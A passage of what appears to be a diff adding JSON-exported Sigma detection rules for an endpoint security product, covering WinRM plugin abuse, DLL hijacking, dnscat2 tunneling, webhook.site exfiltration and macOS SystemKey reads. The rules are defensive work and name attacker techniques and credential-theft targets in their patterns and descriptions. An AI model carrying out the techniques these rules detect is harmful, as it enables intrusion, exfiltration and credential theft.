+  "rule_description": "Detects a suspicious WinRM plugin remote creation.\nWinRM offers an API to accept third-party plugins. These plugins consist of DLLs that need to be located in the System32 folder.\nThey are stored in the registry under the key \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN\\Plugin\".\nThreat actors can remotely create a WinRM plugin pointing to a malicious DLL using the registry remote service or COM programming.\nRestarting the WinRM service will make wmsprovhost.exe (the process spawned by the WinRM service) load the DLL.\nIt is recommended to investigate the IP address from where the registry value was modified and the libraries loaded by wmsprovhost.exe for suspicious activities.\n",
+  "rule_creation_date": "2025-01-21",
+  "rule_modified_date": "2025-12-02",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.lateral_movement",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.006",
+    "attack.t1547"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "74259026-c475-45cc-bac2-fb2a5768e419",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079894Z",
+  "creation_date": "2026-03-23T11:45:34.079896Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079900Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.reliaquest.com/blog/double-extortion-attack-analysis/",
+    "https://www.iobit.com/fr/iobit-unlocker.php",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_execution_of_iobitunlocker.yml",
+  "content": "title: Execution of IObit Unlocker\nid: 74259026-c475-45cc-bac2-fb2a5768e419\ndescription: |\n    Detects the execution of IObit Unlocker.\n    IObit Unlocker is a free utility tool that allows the removal of files and folders that are currently being locked by the system because used by another program or resource.\n    Adversaries may used this tool to modify and/or disable security tools and avoid possible detection of their malicious actions.\n    It is recommended to investigate the parent process for suspicious activities as well as to verify that the integrity of the EDR and other security solutions running on the host, as they may have been tampered with by the tool.\nreferences:\n    - https://www.reliaquest.com/blog/double-extortion-attack-analysis/\n    - https://www.iobit.com/fr/iobit-unlocker.php\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2023/09/19\nmodified: 2025/01/13\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.IOBitUnlocker\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ImpairDefenses\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|endswith: '\\IObitUnlocker.exe'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "74259026-c475-45cc-bac2-fb2a5768e419",
+  "rule_name": "Execution of IObit Unlocker",
+  "rule_description": "Detects the execution of IObit Unlocker.\nIObit Unlocker is a free utility tool that allows the removal of files and folders that are currently being locked by the system because used by another program or resource.\nAdversaries may used this tool to modify and/or disable security tools and avoid possible detection of their malicious actions.\nIt is recommended to investigate the parent process for suspicious activities as well as to verify that the integrity of the EDR and other security solutions running on the host, as they may have been tampered with by the tool.\n",
+  "rule_creation_date": "2023-09-19",
+  "rule_modified_date": "2025-01-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "742a1f89-039d-459e-b772-50a881353a76",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.623137Z",
+  "creation_date": "2026-03-23T11:45:34.623139Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.623143Z",
+  "rule_level": "low",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1136/001/"
+  ],
+  "name": "t1136_001_powershell_create_user.yml",
+  "content": "title: Local User Created Interactively via PowerShell\nid: 742a1f89-039d-459e-b772-50a881353a76\ndescription: |\n    Detects the usage of PowerShell in an interactive session to create a new local user.\n    Adversaries may create a local account to maintain access to victim systems.\n    It is recommended to analyze other commands executed within the PowerShell session using the telemetry to determine whether this actions is legitimate.\nreferences:\n    - https://attack.mitre.org/techniques/T1136/001/\ndate: 2022/11/07\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1136.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.AccountManipulation\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection_command:\n        PowershellCommand|contains: 'New-LocalUser '\n\n    # To avoid FP on commandlets that don't necessarly execute the command\n    selection_args:\n        PowershellCommand|contains:\n            - ' -N' # For -Name or -NoPassword\n            - ' -P' # For -Password\n\n    filter_script:\n        PowershellScriptPath|contains: '?'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_alticap:\n        ProcessImage: '?:\\ProgramData\\Alticap\\temp\\temp-affairmazdaacuitynrc.exe'\n\n    exclusion_cc3:\n        ProcessOriginalFileName: 'ScanCC3'\n        ProcessCompany: 'RISO France'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: low\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "742a1f89-039d-459e-b772-50a881353a76",
+  "rule_name": "Local User Created Interactively via PowerShell",
+  "rule_description": "Detects the usage of PowerShell in an interactive session to create a new local user.\nAdversaries may create a local account to maintain access to victim systems.\nIt is recommended to analyze other commands executed within the PowerShell session using the telemetry to determine whether this actions is legitimate.\n",
+  "rule_creation_date": "2022-11-07",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1136.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "74422f0a-4d43-4762-b069-3d5862f1ae35",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079826Z",
+  "creation_date": "2026-03-23T11:45:34.079828Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079832Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://research.checkpoint.com/2023/rhadamanthys-v0-5-0-a-deep-dive-into-the-stealers-components/",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_sacrificial_process_dialer.yml",
+  "content": "title: Dialer.exe Sacrificial Process Spawned\nid: 74422f0a-4d43-4762-b069-3d5862f1ae35\ndescription: |\n    Detects the suspicious execution of the legitimate Windows binary dialer.exe, spawned without arguments. This can mean that the binary is being used as sacrificial process.\n    Such processes are spawned and malicious code is immediately injected into them for nefarious purposes.\n    This technique is used by Rhadamanthys, a malicious information stealer which is being distributed mostly via malicious Google advertisements.\n    It is recommended to investigate the parent process performing this action and the destination IP address of the dialer.exe process to determine the legitimacy of this behavior.\nreferences:\n    - https://research.checkpoint.com/2023/rhadamanthys-v0-5-0-a-deep-dive-into-the-stealers-components/\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2024/03/27\nmodified: 2025/10/02\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1055\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.SacrificialProcess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine: '?:\\Windows\\System32\\dialer.exe'\n\n    filter_parent:\n        ParentImage:\n            - '?:\\Windows\\explorer.exe'\n            - '?:\\Windows\\System32\\sihost.exe'\n\n    # https://houseonthehill.com/\n    exclusion_supdskcs:\n        ProcessParentOriginalFileName: 'SupDskCs.exe'\n        ProcessParentDescription: 'SupportDesk Desktop'\n\n    exclusion_logosw:\n        ParentImage:\n            - '?:\\Program Files (x86)\\LOGOSw\\agendum.exe'\n            - '?:\\Program Files (x86)\\LOGOSw\\LOGOS_w.exe'\n\n    # https://www.prospective-fr.com/\n    exclusion_prospective:\n        ProcessParentOriginalFileName: 'Prospective.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'Matisoft Édition (Martin Baptiste)'\n\n    exclusion_procreances:\n        ProcessParentImage|endswith: '\\Procreances.exe'\n        ProcessParentProduct: 'Procreances'\n        ProcessParentDescription: 'Gestion Cabinet Recouvrement'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "74422f0a-4d43-4762-b069-3d5862f1ae35",
+  "rule_name": "Dialer.exe Sacrificial Process Spawned",
+  "rule_description": "Detects the suspicious execution of the legitimate Windows binary dialer.exe, spawned without arguments. This can mean that the binary is being used as sacrificial process.\nSuch processes are spawned and malicious code is immediately injected into them for nefarious purposes.\nThis technique is used by Rhadamanthys, a malicious information stealer which is being distributed mostly via malicious Google advertisements.\nIt is recommended to investigate the parent process performing this action and the destination IP address of the dialer.exe process to determine the legitimacy of this behavior.\n",
+  "rule_creation_date": "2024-03-27",
+  "rule_modified_date": "2025-10-02",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "747036bf-6ed1-402f-8ff0-a86d4a7caacb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.600480Z",
+  "creation_date": "2026-03-23T11:45:34.600484Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.600491Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dsregcmd.yml",
+  "content": "title: DLL Hijacking via dsregcmd.exe\nid: 747036bf-6ed1-402f-8ff0-a86d4a7caacb\ndescription: |\n    Detects potential Windows DLL Hijacking via dsregcmd.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dsregcmd.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dsreg.dll'\n            - '\\logoncli.dll'\n            - '\\ncrypt.dll'\n            - '\\netutils.dll'\n            - '\\PROPSYS.dll'\n            - '\\secur32.dll'\n            - '\\SSPICLI.DLL'\n            - '\\USERENV.dll'\n            - '\\WINHTTP.dll'\n            - '\\WININET.dll'\n            - '\\wkscli.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "747036bf-6ed1-402f-8ff0-a86d4a7caacb",
+  "rule_name": "DLL Hijacking via dsregcmd.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dsregcmd.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "74c8a0a8-cc75-430e-be46-60cb5efaebc0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.603013Z",
+  "creation_date": "2026-03-23T11:45:34.603016Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.603024Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/",
+    "https://github.com/iagox86/dnscat2",
+    "https://attack.mitre.org/techniques/T1572/"
+  ],
+  "name": "t1572_dnscat_tunneling_request.yml",
+  "content": "title: DNS Name Associated with dnscat2 Resolved\nid: 74c8a0a8-cc75-430e-be46-60cb5efaebc0\ndescription: |\n    Detects a DNS query starting with \"dnscat.\", which is associated with default dnscat2 binaries.\n    Dnscat2 is a DNS tunneling tool. Adversaries may use the DNS protocol to communicate with their C&C as a way to circumvent network protections.\n    It is recommended to check the content of the request and to look for suspicious behavior by the process making the request.\nreferences:\n    - https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/\n    - https://github.com/iagox86/dnscat2\n    - https://attack.mitre.org/techniques/T1572/\ndate: 2025/09/24\nmodified: 2025/09/30\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1572\n    - attack.t1071.004\n    - attack.t1568.003\n    - attack.exfiltration\n    - attack.t1048.003\n    - classification.Windows.Source.DnsQuery\n    - classification.Windows.Behavior.Tunneling\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    product: windows\n    category: dns_query\ndetection:\n    selection:\n        Image|contains: '?'\n        QueryName|startswith: 'dnscat.'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "74c8a0a8-cc75-430e-be46-60cb5efaebc0",
+  "rule_name": "DNS Name Associated with dnscat2 Resolved",
+  "rule_description": "Detects a DNS query starting with \"dnscat.\", which is associated with default dnscat2 binaries.\nDnscat2 is a DNS tunneling tool. Adversaries may use the DNS protocol to communicate with their C&C as a way to circumvent network protections.\nIt is recommended to check the content of the request and to look for suspicious behavior by the process making the request.\n",
+  "rule_creation_date": "2025-09-24",
+  "rule_modified_date": "2025-09-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1048.003",
+    "attack.t1071.004",
+    "attack.t1568.003",
+    "attack.t1572"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "74ca3e8c-023b-412c-b594-c231e695e097",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077320Z",
+  "creation_date": "2026-03-23T11:45:34.077323Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077330Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://medium.com/@simone.kraus/critical-engergy-infrastructure-facility-in-ukraine-attack-b15638f6a402",
+    "https://www.zscaler.com/blogs/security-research/steal-it-campaign",
+    "https://attack.mitre.org/techniques/T1567/",
+    "https://attack.mitre.org/techniques/T1105/"
+  ],
+  "name": "t1567_url_request_webhook.yml",
+  "content": "title: URL Request to Webhook Service\nid: 74ca3e8c-023b-412c-b594-c231e695e097\ndescription: |\n    Detects URL requests to a webhook service such as Webhook.site.\n    These services allow for automatic logging of the requests they receive and can be configured to reply custom responses.\n    Attackers use such services to exfiltrate stolen data stealthfully, or to host and deliver malicious payloads.\n    It is recommended to investigate the process performing this action to determine its legitimacy.\nreferences:\n    - https://medium.com/@simone.kraus/critical-engergy-infrastructure-facility-in-ukraine-attack-b15638f6a402\n    - https://www.zscaler.com/blogs/security-research/steal-it-campaign\n    - https://attack.mitre.org/techniques/T1567/\n    - https://attack.mitre.org/techniques/T1105/\ndate: 2023/09/07\nmodified: 2025/01/14\nauthor: HarfangLab\ntags:\n    - attack.exfiltration\n    - attack.t1567\n    - attack.command_and_control\n    - attack.t1105\n    - classification.Windows.Source.UrlRequest\n    - classification.Windows.Behavior.Exfiltration\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    product: windows\n    category: url_request\ndetection:\n    selection:\n        RequestUrlHost: 'webhook.site'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "74ca3e8c-023b-412c-b594-c231e695e097",
+  "rule_name": "URL Request to Webhook Service",
+  "rule_description": "Detects URL requests to a webhook service such as Webhook.site.\nThese services allow for automatic logging of the requests they receive and can be configured to reply custom responses.\nAttackers use such services to exfiltrate stolen data stealthfully, or to host and deliver malicious payloads.\nIt is recommended to investigate the process performing this action to determine its legitimacy.\n",
+  "rule_creation_date": "2023-09-07",
+  "rule_modified_date": "2025-01-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105",
+    "attack.t1567"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "74d81cc1-fab9-4018-9433-2fedef3fe99a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617581Z",
+  "creation_date": "2026-03-23T11:45:34.617583Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617587Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1552/003/"
+  ],
+  "name": "t1564_001_read_systemkey.yml",
+  "content": "title: Suspicious Access to SystemKey\nid: 74d81cc1-fab9-4018-9433-2fedef3fe99a\ndescription: |\n    Detects a suspicious access to the SystemKey file.\n    Adversaries may read the SystemKey in order to unlock the system Keychain file.\n    It is recommended to verify if the process performing the read operation has legitimate reasons to do so.\nreferences:\n    - https://attack.mitre.org/techniques/T1552/003/\ndate: 2024/07/22\nmodified: 2025/03/07\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1552.003\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.SensitiveInformation\n    - classification.macOS.Behavior.CredentialAccess\nlogsource:\n    product: macos\n    category: filesystem_event\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n\n    selection_path:\n        Path: '/private/var/db/SystemKey'\n        Kind: 'read'\n        ProcessImage|contains: '/'\n\n    filter_sedcurityd:\n        ProcessImage: '/usr/sbin/securityd'\n\n    exclusion_birdagent:\n        ProcessImage|endswith: '/bird_agent_stable'\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: '_bird_python_dbg'\n\n    exclusion_broadcom:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.broadcom.mes.systemextension'\n\n    exclusion_bitdefender:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.bitdefender.bddaemon'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "74d81cc1-fab9-4018-9433-2fedef3fe99a",
+  "rule_name": "Suspicious Access to SystemKey",
+  "rule_description": "Detects a suspicious access to the SystemKey file.\nAdversaries may read the SystemKey in order to unlock the system Keychain file.\nIt is recommended to verify if the process performing the read operation has legitimate reasons to do so.\n",
+  "rule_creation_date": "2024-07-22",
+  "rule_modified_date": "2025-03-07",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1552.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "74d9e50a-fabb-42bb-90dc-e3077f67a6da",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.604776Z",
+  "creation_date": "2026-03-23T11:45:34.604780Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.604787Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/",
+    "https://attack.mitre.org/techniques/T1033/"
+  ],
+  "name": "t1033_powershell_get_adcomputer.yml",
